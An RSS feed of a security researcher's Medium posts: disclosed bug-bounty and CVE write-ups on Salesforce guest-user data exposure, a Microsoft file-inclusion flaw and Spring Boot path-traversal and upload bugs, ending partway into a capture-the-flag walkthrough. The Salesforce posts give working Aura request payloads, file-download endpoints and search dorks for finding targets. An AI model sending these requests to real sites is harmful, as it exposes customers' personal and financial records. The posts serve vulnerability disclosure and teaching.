<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mustafa Mohamed (d3sca) on Medium]]></title>
        <description><![CDATA[Stories by Mustafa Mohamed (d3sca) on Medium]]></description>
        <link>https://medium.com/@d3sca?source=rss-7f820c901b07------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*b1xGZ5Hwd8PM-vpKECtNug.jpeg</url>
            <title>Stories by Mustafa Mohamed (d3sca) on Medium</title>
            <link>https://medium.com/@d3sca?source=rss-7f820c901b07------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 03:39:54 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@d3sca/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Microsoft Bounty Hunt: From Contacts to Invoices via Guest User Misconfigurations]]></title>
            <link>https://d3sca.medium.com/microsoft-bounty-hunt-from-contacts-to-invoices-via-guest-user-misconfigurations-efaa8bef73f4?source=rss-7f820c901b07------2</link>
            <guid isPermaLink="false">https://medium.com/p/efaa8bef73f4</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[react]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[salesforce]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mustafa Mohamed (d3sca)]]></dc:creator>
            <pubDate>Sat, 15 Aug 2026 13:16:04 GMT</pubDate>
            <atom:updated>2026-08-15T13:37:41.813Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>What began as a routine check of Guest User permissions revealed unauthenticated access to internal Salesforce objects. Initially, this appeared to be a standard exposure of Contact records. However, by following the data trail, this finding pivoted into unauthorized access to downloadable customer invoice documents containing highly sensitive financial and personally identifiable information (PII).</p><h3>Understanding Salesforce Lightning</h3><p>Salesforce Lightning is a robust, component-based framework where access control relies heavily on tenant configuration. Since I’ve already covered the deep-dive architectural attack surface of Lightning how Aura components communicate with the underlying API endpoints in a previous write-up on my Medium page <a href="https://d3sca.medium.com/uncovering-the-hidden-attack-surface-of-salesforce-instances-4a0f7d47eb70?sharedUserId=d3sca">Uncovering the Hidden Attack Surface of Salesforce Instances</a>, I won’t reinvent the wheel here.</p><p>For this report, we’ll focus strictly on the configuration side of things.</p><h3>Initial Discovery:</h3><p>The Salesforce application is a customer payment app , where customers look for invoices and to my guess get the invoice. While analyzing it , there was an option to look for the bill as a guest user, you fill a form and get the invoice (I guess) , using a customer’s form , when a user fill the form a token will be added to the aura request (aura.token=eyJh….etc), and this is interesting.</p><p>using the token , the first object identified was the Contact object.</p><pre>{<br>&quot;actions&quot;:[{<br>&quot;id&quot;:&quot;123;a&quot;,<br>&quot;descriptor&quot;:&quot;serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems&quot;,<br>&quot;callingDescriptor&quot;:&quot;UNKNOWN&quot;,<br>&quot;params&quot;:{<br>&quot;entityNameOrId&quot;:&quot;CONTACT&quot;,<br>&quot;layoutType&quot;:&quot;FULL&quot;,<br>&quot;pageSize&quot;:2000,<br>&quot;currentPage&quot;:0,<br>&quot;useTimeout&quot;:false,<br>&quot;getCount&quot;:false,<br>&quot;enableRowActions&quot;:false<br>}}]}</pre><p>customer information, intended to remain strictly private, was retrievable without authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*0kVQKhrSdzWTlC8Hhbarag.jpeg" /></figure><h3>Expanding the Attack Surface: The Curious Researcher’s Dilemma</h3><p>In bug bounty, you are often faced with a choice:</p><ul><li><strong>Option A:</strong> Document the PII finding, close the laptop, and go get a well-deserved coffee.</li><li><strong>Option B:</strong> Embrace the “Sweating Button Guy” meme and see how deep the rabbit hole goes.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*LKIAayE_MKCUVCRiX9DwnQ.jpeg" /></figure><p>I chose Option A to be honest , xx) , at this point this is enough to report , the next day I thought about it , this portal’s purpose is for customer’s payment, this means there has to be payment related information, and I haven’t even tried other objects yet.</p><p>Further analysis revealed that the overly permissive model wasn’t just limited to Contacts. Document-related objects were also exposed through the same permission boundary.</p><pre>{<br>&quot;actions&quot;:[{<br>&quot;id&quot;:&quot;123;a&quot;,<br>&quot;descriptor&quot;:&quot;serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems&quot;,<br>&quot;callingDescriptor&quot;:&quot;UNKNOWN&quot;,<br>&quot;params&quot;:{<br>&quot;entityNameOrId&quot;:&quot;DOCUMENT&quot;,<br>&quot;layoutType&quot;:&quot;FULL&quot;,<br>&quot;pageSize&quot;:2000,<br>&quot;currentPage&quot;:0,<br>&quot;useTimeout&quot;:false,<br>&quot;getCount&quot;:false,<br>&quot;enableRowActions&quot;:false<br>}}]}</pre><p>This immediately elevated the finding to unauthorized access to core business documents.</p><p>what I got was doucments IDs within a json file , using:</p><pre>/servlet/servlet.FileDownload?file=ID</pre><p>I can download customers invoices as an impact.</p><h3>The Real Impact: Raising the Stakes</h3><p>The exposed document records weren’t just internal memos; they were direct references to <strong>customer invoice PDFs</strong>.</p><p>Because the objects were exposed, unauthenticated users could enumerate document identifiers and download the actual invoice files. These documents contained:</p><ul><li>Customer names and email addresses</li><li>Billing addresses</li><li>Detailed invoice line items and financial data</li><li>Authorized business signatures</li></ul><p>This demonstrated that the misconfiguration affected highly confidential, legally binding business records, rather than just isolated, static customer attributes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*UIZ2tRoNy2bq9qkE7JS1PQ.jpeg" /></figure><h3>Why This Matters (The “Oof” Section)</h3><p>From a security and business perspective, this configuration gap introduces several compounding risks:</p><ul><li><strong>Broken Access Control:</strong> The foundational principle of least privilege was inadvertently bypassed.</li><li><strong>Cross-Customer Data Exposure:</strong> The potential for one customer to view another’s financial records.</li><li><strong>Automated Data Harvesting:</strong> Once document identifiers are discoverable via exposed objects, an attacker can easily script the retrieval of thousands of documents before any rate-limiting or monitoring triggers.</li><li><strong>Secondary Attacks:</strong> The presence of financial details and business signatures significantly lowers the barrier for targeted phishing, identity fraud, and financial fraud.</li><li><strong>Regulatory Friction:</strong> Unnecessary exposure of PII and financial data naturally invites scrutiny from compliance frameworks (GDPR, CCPA, etc.).</li></ul><h3>Remediation:</h3><p>Resolving this is straightforward and aligns with Salesforce security best practices:</p><ol><li><strong>Apply Least Privilege:</strong> Remove unnecessary object and field-level permissions from the Guest User profile immediately.</li><li><strong>Restrict Sensitive Objects:</strong> Explicitly deny Guest User access to Contact and document-related objects (e.g., ContentDocument, ContentVersion).</li><li><strong>Audit Field-Level Security (FLS):</strong> Ensure sensitive fields are not inadvertently marked as readable by public profiles.</li><li><strong>Review Sharing Rules &amp; Apex:</strong> Validate that no custom Apex classes or sharing rules are inadvertently bypassing object-level security for unauthenticated users.</li><li><strong>Proactive Testing:</strong> Periodically test public-facing sites using a fresh, unauthenticated browser session to ensure the “front door” actually locks.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=efaa8bef73f4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Uncovering the Hidden Attack Surface of Salesforce instances]]></title>
            <link>https://d3sca.medium.com/uncovering-the-hidden-attack-surface-of-salesforce-instances-4a0f7d47eb70?source=rss-7f820c901b07------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a0f7d47eb70</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Mustafa Mohamed (d3sca)]]></dc:creator>
            <pubDate>Wed, 22 Apr 2026 10:32:40 GMT</pubDate>
            <atom:updated>2026-04-22T10:32:40.568Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>from my humble experience any Salesforce with unauthenticated functionalities contains misconfigurations and access control issues.</p><p>let’s get that bounty award :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rv5fy8JlTSyHEKO5_Qh6Yg.jpeg" /></figure><h3>What is Salesforce Aura Lightning ?</h3><p>Salesforce Aura Lightning is a framework used to build custom user interfaces. When you’re looking at a public-facing Salesforce Help page or portal, you aren’t just looking at a static site; you are interacting with a complex content delivery mechanism that behaves very much like an API.</p><p>You can usually access the Aura Lightning framework via the following endpoint:</p><pre>/s/sfsites/aura<br>/{{appname}}/s/sfsites/aura<br>/{{appname}}/aura<br>/s/aura<br>/aura</pre><p>Interact with components by sending POST requests containing a message parameter formatted in JSON, instructing the server on what actions to perform and what data to retrieve.</p><h3>Exploitation</h3><p>To test the boundaries guest user, send a POST request to the /s/sfsites/aura endpoint. the goal is to query multiple objects which is where Salesforce often stores files like generated invoices—to see if the system enforced proper ownership validation.</p><p>I sent the following payload:</p><pre>POST /s/sfsites/aura HTTP/2<br>Host: REDACTED.COM<br>Content-Type: application/x-www-form-urlencoded<br><br>message={&quot;actions&quot;:[{&quot;id&quot;:&quot;123;a&quot;,&quot;descriptor&quot;:&quot;serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems&quot;,&quot;callingDescriptor&quot;:&quot;UNKNOWN&quot;,&quot;params&quot;:{&quot;entityNameOrId&quot;:&quot;Document&quot;,&quot;layoutType&quot;:&quot;FULL&quot;,&quot;pageSize&quot;:2000,&quot;currentPage&quot;:0,&quot;useTimeout&quot;:false,&quot;getCount&quot;:false,&quot;enableRowActions&quot;:false}}]}&amp;aura.context=%7B%22mode%22%3A%22PROD%22%2C%22fwuid%22%3A%22WFIwUmVJdmtIRnI3MTFpX0d6c1VwQWhZX25NdHFVdGpDN3BnWlROY1ZGT3cyNTAuOC4zLTYuNC41%22%2C%22app%22%3A%22siteforce%3AcommunityApp%22%2C%22loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3AcommunityApp%22%3A%224aRXFMeJBEoyEhCBFKHHSA%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AinputField%22%3A%22MIteSSSIxKghQgDJWuI57g%22%2C%22COMPONENT%40markup%3A%2F%2Fforce%3AoutputField%22%3A%224kDixPuHcKU99oJ3nGrYwA%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AfeedPublisher%22%3A%22eLdMCU5TIIj5fTlBFHu9Cg%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AforceCommunityFeed%22%3A%22T_JqvrMTIi87V9CzYeCoyQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3AobjectHome%22%3A%22XokhHoGbTrHekjpxgyja7A%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArecordDetail%22%3A%22DhqIX7zfLrAKT30H1SrJBQ%22%2C%22COMPONENT%40markup%3A%2F%2FforceCommunity%3ArelatedRecords%22%3A%22QKutWURpjg1wirSmIlNoOQ%22%2C%22COMPONENT%40markup%3A%2F%2Finstrumentation%3Ao11ySecondaryLoader%22%3A%221JitVv-ZC5qlK6HkuofJqQ%22%7D%2C%22dn%22%3A%5B%5D%2C%22globals%22%3A%7B%7D%2C%22uad%22%3Afalse%7D&amp;aura.pageURI=%2Fs%2Fregistration&amp;aura.token=the_token</pre><p>let’s decode the message parameter’s value, it’s the most crucial part:</p><pre>{<br>&quot;actions&quot;:[{<br>&quot;id&quot;:&quot;123;a&quot;,<br>&quot;descriptor&quot;:&quot;serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems&quot;,<br>&quot;callingDescriptor&quot;:&quot;UNKNOWN&quot;,<br>&quot;params&quot;:{<br>&quot;entityNameOrId&quot;:&quot;user&quot;,<br>&quot;layoutType&quot;:&quot;FULL&quot;,<br>&quot;pageSize&quot;:2000,<br>&quot;currentPage&quot;:0,<br>&quot;useTimeout&quot;:false,<br>&quot;getCount&quot;:false,<br>&quot;enableRowActions&quot;:false<br>}}]}</pre><p>the Object here is defined by the parameter:</p><blockquote>entityNameOrId<strong>:user</strong></blockquote><p>where <strong>user </strong>is the object</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cO6W-06kAT22Fa_w2ALX0A.jpeg" /></figure><p>for any document related data like CV’s Documents, invoices , or any sensitive documents the objects:</p><pre>ContentDocument<br>ContentVersion<br>Document</pre><p>you will get a json response including documents IDs like:</p><pre>&quot;Id&quot;:&quot;200DSOI2A2JSDTA1&quot;</pre><p>now you can download files using following links:</p><pre>GET /servlet/servlet.FileDownload?file=ID -&gt; Document<br>GET /sfc/servlet.shepherd/document/download/ID -&gt;content document<br>GET /sfc/servlet.shepherd/version/download/ID -&gt; contentverison</pre><p>I have created a list of default objects in my <a href="https://github.com/d3sca/salesforce-enumeration/blob/main/objects_list.txt">github</a> , also you can request available objects via sending the same POST request with message parameter value of:</p><pre>{&quot;actions&quot;:[{&quot;id&quot;:&quot;123;a&quot;,&quot;descriptor&quot;:&quot;serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData&quot;,&quot;callingDescriptor&quot;:&quot;UNKNOWN&quot;,&quot;params&quot;:{}}]}</pre><p>any customized object will be using characters “__c” , the easiest way to know how to interact with the object is to just to keep clicking with proxy on and then check for it on your history, I have found that most of customized objects to be vulnerable , if it’s just a login page , try to dig in js, when you find any object and want to get more information:</p><pre>{&quot;actions&quot;:[{&quot;id&quot;:&quot;123;a&quot;,&quot;descriptor&quot;:&quot;serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord&quot;,&quot;callingDescriptor&quot;:&quot;UNKNOWN&quot;,&quot;params&quot;:{&quot;recordId&quot;:&quot;0A00I0233303IOIDQAI&quot;,&quot;record&quot;:null,&quot;inContextOfComponent&quot;:&quot;&quot;,&quot;mode&quot;:&quot;VIEW&quot;,&quot;layoutType&quot;:&quot;FULL&quot;,&quot;defaultFieldValues&quot;:null,&quot;navigationLocation&quot;:&quot;LIST_VIEW_ROW&quot;}}]}</pre><p>change the recordID.</p><p>I have vipe coded a script to do all of this automatically , currently working to enhance it but it’s working.</p><p><a href="https://github.com/d3sca/salesforce-enumeration/blob/main/enum.py"><strong><em>salesforce_enum</em></strong></a></p><h3>Dorks:</h3><pre>site:my.site.com &quot;companyname&quot;<br>site:company.com inurl:/s/<br>site:company.com &quot;support&quot; OR &quot;partner&quot;</pre><h3>Conclusion</h3><p>Guest-accessible features can introduce subtle but impactful security risks if not carefully implemented. Even when exposure appears limited.</p><p>there is too many test cases , I will either create a new writeup of add to this one, stay tuned.</p><h3>References:</h3><ul><li><a href="https://www.enumerated.ie/index/salesforce">https://www.enumerated.ie/index/salesforce</a></li><li><a href="https://youtu.be/mBJyO1eJBI8?si=D0fAOkt7bh3nwQzx">https://youtu.be/mBJyO1eJBI8?si=D0fAOkt7bh3nwQzx</a></li><li><a href="https://medium.com/@theodorejackson.us/exploiting-salesforce-lightning-permissions-issues-5c04f202c887">https://medium.com/@theodorejackson.us/exploiting-salesforce-lightning-permissions-issues-5c04f202c887</a></li><li><a href="https://hackerone.com/reports/1023572">https://hackerone.com/reports/1023572</a></li></ul><h3>appreciation:</h3><p>last thing I would like to thank <a href="https://www.enumerated.ie/?author=5f7770a5c21513608bf31373">Aaron Costello</a> the researcher behind all of this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a0f7d47eb70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Local File Inclusion to $$$$ bounty on Microsoft]]></title>
            <link>https://d3sca.medium.com/local-file-inclusion-to-bounty-on-microsoft-650816ff4881?source=rss-7f820c901b07------2</link>
            <guid isPermaLink="false">https://medium.com/p/650816ff4881</guid>
            <dc:creator><![CDATA[Mustafa Mohamed (d3sca)]]></dc:creator>
            <pubDate>Wed, 08 Apr 2026 10:34:23 GMT</pubDate>
            <atom:updated>2026-04-12T10:36:21.943Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*GaJ3kM6yb7ve2Otl0CQW3w.jpeg" /></figure><h3>Intro</h3><p>During my testing on a Microsoft target, I came across an application hosting publicly accessible PDF documents. While attempting to download one of these files, I noticed an interesting pattern in the request URL:</p><pre>https://redacted.com/Downloadpdf?filename=/something/something/file.pdf</pre><p>looks like a potential LFI</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*Ul5WaMAdNDIf0drbU7G-8A.gif" /></figure><p>At this point, the obvious next step was to test C:\Windows\win.iniexpecting a quick win. But instead of a “boom,” the server shut it down completely. So I pivoted and inspected the web.config, where I came across something like:</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;<br>&lt;configuration&gt;<br>  &lt;system.webServer&gt;<br>    &lt;defaultDocument&gt;<br>      &lt;files&gt;<br>        &lt;add value=&quot;Default.aspx&quot; /&gt;<br>        &lt;add value=&quot;index.html&quot; /&gt;<br>      &lt;/files&gt;<br>    &lt;/defaultDocument&gt;<br>    &lt;/handlers&gt;<br>      &lt;aspNetCore processpath=&quot;dotnet&quot; arguments=&quot;.\redacted.app.dll&quot;&gt;<br>    &lt;httpErrors errorMode=&quot;Detailed&quot; /&gt;<br>    &lt;directoryBrowse enabled=&quot;false&quot; /&gt;<br>  &lt;/system.webServer&gt;<br>&lt;/configuration&gt;</pre><p>I downloaded the fileredacted.app.dll:</p><pre>curl https://redacted.com/Downloadpdf?filename=redacted.app.dll -o redacted.app.dll</pre><p>decompiled it using ILSpy, it revealed the full application source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*hKKMCEzpVpOiXO5f59AlOQ.jpeg" /></figure><p>While continuing to fuzz for additional DLL files, I manually reviewed the extracted code and identified references to other system artifacts, including PDB files. I then requested the appsettings.jsonfile, which exposed internal application configurations and infrastructure references. However, to MSRC’s credit, this did not result in the compromise of live customer data or functional execution keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Cv9wjG8-I1Xgq2GEpwSvTA.jpeg" /></figure><h3>Summery:</h3><p>Although the LFI vulnerability was restricted to the application’s current directory and did not allow traversal outside of it, I continued digging and was ultimately able to uncover the source code along with other valuable information.</p><h3>Timeline:</h3><ol><li>17 Feb 2026: Vulnerability reported to MSRC.</li><li>09 Feb 2026: Issue validated and remediated by Microsoft engineering.</li><li>09 Mar 2026: Researcher acknowledged and bounty awarded through Microsoft’s security rewards program.</li><li>25 Mar 2026: Final fix deployment confirmed prior to public disclosure.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=650816ff4881" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2025–46822 the story of an Unauthenticated Arbitrary File Read via Absolute Path]]></title>
            <link>https://d3sca.medium.com/cve-2025-46822-the-story-of-an-unauthenticated-arbitrary-file-read-via-absolute-path-1745ba39460e?source=rss-7f820c901b07------2</link>
            <guid isPermaLink="false">https://medium.com/p/1745ba39460e</guid>
            <dc:creator><![CDATA[Mustafa Mohamed (d3sca)]]></dc:creator>
            <pubDate>Wed, 21 May 2025 21:39:57 GMT</pubDate>
            <atom:updated>2025-05-21T21:43:56.033Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BHK3PJimJ1DFOAA-MsxSsA.jpeg" /></figure><p>In collaboration with the phenomenon <a href="https://www.linkedin.com/in/osama-taher-09830716a/"><strong><em>Osama Taher</em></strong></a> on his amazing spring boot project common-user-management system.</p><p>I stumbled upon controller of files reading , the functionality is intended to read organization’s files, and I was intreeged by the following:</p><pre>  @GetMapping(&quot;/{fileName}&quot;)<br>    @ResponseBody<br>    public ResponseEntity&lt;?&gt; getFileByName(@PathVariable(name = &quot;fileName&quot;) String name){<br>        var resource = storageService.loadAsResource(name);<br>        if(resource==null) return operationStatus.handle(OperationStatus.OP_STATUS_FAILED);<br>        return ResponseEntity.ok()<br>                .header(HttpHeaders.CONTENT_DISPOSITION, &quot;attachment; filename=\&quot;&quot; + name + &quot;\&quot;&quot;)<br>                .body(resource);</pre><p>so let’s explain:</p><p>as it appears the <strong><em>getFilebyName </em></strong>, refers to a method that retrieves a file from the storage, <strong><em>{fileName}</em></strong> is the<strong> </strong>path variable passed by the client, in like for example:<strong> <em>/v1/api/files/report.pdf</em></strong></p><p>this code is the controller of the functionality , what is really interesting is that there is no sanitization any of the app’s services:</p><pre> public Path load(String filename,Path location) {<br>        return location.resolve(filename);<br>    }<br><br>    @Override<br>    public Resource loadAsResource(String filename) {<br>        try {<br>            Path location = Paths.get(rootLocation+&quot;/&quot;);<br>            Path file = load(filename,location);<br>            Resource resource = new UrlResource(file.toUri());<br>            if (resource.exists() || resource.isReadable()) {<br>                return resource;<br>            }<br>            else {<br>              return null;<br>            }</pre><p>the filename variable is being resolved as of ../../../../../../file gets resolved to /file and man this is awful</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*OCBjNFKHYXC5cZrYfnR2dQ.jpeg" /></figure><p>the load() method is responsible for loading the file from it’s location which is not sanitized and not authenticated, it loads it from:</p><p>files.store.root = /file-store/</p><p>which is configured from <strong>application-dev.properties</strong></p><p>This means if I just go /etc/passwd after /v1/api/files/ I will achieve path traversal ???</p><p>it worked !! , however I have configured files.store.root = / , this is a bad setup for a security guy like myself, I admit it.</p><p>in this case I can view any kind of document after the /file-store/ location , if it’s / “anything is possible”, so I have configured the file store root to be /target and tried again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wURiiPDrnAvCcJWvjJdzIA.jpeg" /></figure><p>so basically I can view any organization’s document and any other document within the app’s root . awesome</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Cv9wjG8-I1Xgq2GEpwSvTA.jpeg" /></figure><p>I submitted the advisory and got a CVE with score of 7.7 High !</p><p>special thanks for <a href="https://www.linkedin.com/in/osama-taher-09830716a/"><em>Osama Taher</em></a><em> for the quick and accurate fix the this vulnerability.</em></p><p>Links:</p><p><a href="https://github.com/OsamaTaher/Java-springboot-codebase/security/advisories/GHSA-q6mm-cm37-w637">https://github.com/OsamaTaher/Java-springboot-codebase/security/advisories/GHSA-q6mm-cm37-w637</a></p><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-46822">https://nvd.nist.gov/vuln/detail/CVE-2025-46822</a></p><p><a href="https://secalerts.co/vulnerability/CVE-2025-46822">https://secalerts.co/vulnerability/CVE-2025-46822</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1745ba39460e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2024–52302 Unrestricted File Upload in Java Spring boot-Common-User-Management]]></title>
            <link>https://d3sca.medium.com/cve-2024-52302-how-i-turned-a-spring-boot-bug-into-a-remote-code-execution-rce-superpower-67e08ff8a37a?source=rss-7f820c901b07------2</link>
            <guid isPermaLink="false">https://medium.com/p/67e08ff8a37a</guid>
            <dc:creator><![CDATA[Mustafa Mohamed (d3sca)]]></dc:creator>
            <pubDate>Fri, 15 Nov 2024 11:28:37 GMT</pubDate>
            <atom:updated>2024-11-24T10:13:38.272Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2024–52302: How I Turned Common-User-Management System Bug into a Remote Code Execution (RCE)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-p50wbvEeojV4L9JavqIQ.png" /></figure><h3>About the app:</h3><p>is a robust Spring Boot application featuring user management services designed to control user access dynamically. Each API endpoint is treated as a privilege that can be assigned to user roles, providing a fine-grained security model in addition to generally useful packages.</p><h3>Summery</h3><p>In collaboration with the brilliant <a href="https://www.linkedin.com/in/osama-taher-09830716a/">Osama Taher</a> and his exceptional open-source project, I uncovered a critical security vulnerability in <strong>common-user-management</strong>, a robust Spring Boot application designed for dynamic user access control. This vulnerability affects the /api/v1/customer/profile-picture endpoint, which allows attackers to upload files without proper validation, potentially leading to <strong>Remote Code Execution (RCE)</strong>.</p><p>Working together, Osama’s expertise in software development allowed him to resolve the issue swiftly.</p><h3>Vulnerable Endpoint:</h3><p>What’s a customer portal without a smiling face, right? Unfortunately, the <strong>profile-picture endpoint “</strong>/api/v1/customer/profile-picture” isn’t selective about the files it allows, leaving the door wide open for malicious uploads. This lack of validation could lead to <strong>Remote Code Execution (RCE), </strong>making it a critical vulnerability.</p><h3>Let’s Break It Down</h3><h3>Step 1: The Upload Dance</h3><p>I began by sending a simple PUT request with the Content-Type to <strong>text/plain </strong>and what seemed like an innocent “profile picture” (a.k.a. my payload). The content of the payload was:</p><pre>&lt;h1&gt;test&lt;/h1&gt;</pre><h3>Step 2: Finding the file</h3><p>Using another endpoint, /api/v1/customer/my-profile, “ <em>depending on the server configuration on </em><a href="https://github.com/OsamaTaher/Java-springboot-codebase/blob/main/springboot/common-dynamic-management-services/src/main/resources/application-dev.properties"><strong><em>application-dev.properties</em></strong></a><em> administrators can adjust their favorite uploads location, unfortunatly there is no escape from having it under the webserver root directory in order for it to be accessable for the app</em>” , so I retrieved information about the uploaded file, which contained a link to view the image. Here’s where the magic (and vulnerability) unfolded:</p><p><strong>POC Image</strong>🫡:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DMjQqZrB53cynX8Jp8bwVA.jpeg" /><figcaption>POC image</figcaption></figure><h3>🤯 What Went Wrong?</h3><p>This vulnerability exists because the server wasn’t playing by the rules:</p><ol><li>relying only on FilenameUtils.getExtension(file.getOriginalFilename()) to get the filetype.</li><li>MIME type whitelist exists but without validation</li></ol><h3>🌐 Links</h3><ul><li><a href="https://github.com/d3sca/CVE-2024-52302">D3sca GitHub Repository</a></li><li><a href="https://github.com/OsamaTaher/">Osama Taher GitHub</a></li><li><a href="https://github.com/OsamaTaher/Java-springboot-codebase/security/advisories/GHSA-rhcq-44g3-5xcx">GitHub Advisory: GHSA-rhcq-44g3–5xcx</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-52302">NVD Entry: CVE-2024–52302</a></li><li><a href="https://secalerts.co/vulnerability/CVE-2024-52302">SecAlerts: CVE-2024–52302</a></li></ul><h3>🏆 Final Thoughts</h3><p>Discovering this vulnerability was like finding a secret trap door in a house you thought you knew. It’s a reminder that even the most well-built applications can have hidden flaws. So, keep your eyes peeled, stay curious, and never stop testing. You never know what treasure (or bug) you might find next! 🐞💎</p><p><strong>Vulnerability discovered by </strong><a href="https://www.linkedin.com/in/mustafamohamedosman/"><strong>d3sca</strong></a><strong>.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67e08ff8a37a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tempus Fugit:3 Walkthrough]]></title>
            <link>https://d3sca.medium.com/tempus-fugit-3-walkthrough-1802e943c421?source=rss-7f820c901b07------2</link>
            <guid isPermaLink="false">https://medium.com/p/1802e943c421</guid>
            <dc:creator><![CDATA[Mustafa Mohamed (d3sca)]]></dc:creator>
            <pubDate>Fri, 18 Oct 2024 16:26:57 GMT</pubDate>
            <atom:updated>2024-10-20T07:22:49.834Z</atom:updated>
            <content:encoded><![CDATA[<p>First of all Thank you <a href="https://x.com/@4nqr34z">@4nqr34z</a> and <a href="https://x.com/@theart42">@theart42</a> for this Extreme fun That I had gone through, your series of machines is great educational fun.</p><p>to readers, grab a cup of coffee, because this will be a nice headache.</p><h3>Enumeration:</h3><p>this was a bit tricky but totally fun, I started by doing the usual nmap scan:</p><p>nmap -sS -sU -A -p- 192.168.116.130 &gt; nmap.txt</p><blockquote><strong><em>Starting Nmap 7.60 ( https://nmap.org ) at 2020–04–03 05:32 EDT<br>Nmap scan report for 192.168.116.130<br>Host is up (0.00066s latency).<br>Not shown: 65533 closed ports<br>PORT STATE SERVICE VERSION<br>22/tcp filtered ssh<br>80/tcp open http nginx 1.14.2<br>|_http-server-header: nginx/1.14.2<br>|_http-title: Tempus Fugit<br>Device type: general purpose<br>Running: Linux 3.X|4.X<br>OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4<br>OS details: Linux 3.2–4.8<br>Network Distance: 1 hop</em></strong></blockquote><blockquote><strong><em>TRACEROUTE<br>HOP RTT ADDRESS<br>1 0.66 ms 192.168.116.130</em></strong></blockquote><blockquote><strong><em>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 31.53 seconds</em></strong></blockquote><p>Here what came in my mind that there is a firewall filtering ssh port, so I wrote it in my note and continue my enumeration.</p><p>Then a directory scan showed me nothing, from this point I just opened the page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ReUoeiFkkGk-xbgR77Z5NQ.png" /></figure><p>a good looking dynamic page , I viewed the source code and there is a comment indicating the template ,” &lt;! — =======================================================<br> Theme Name: Green<br> Theme URL: <a 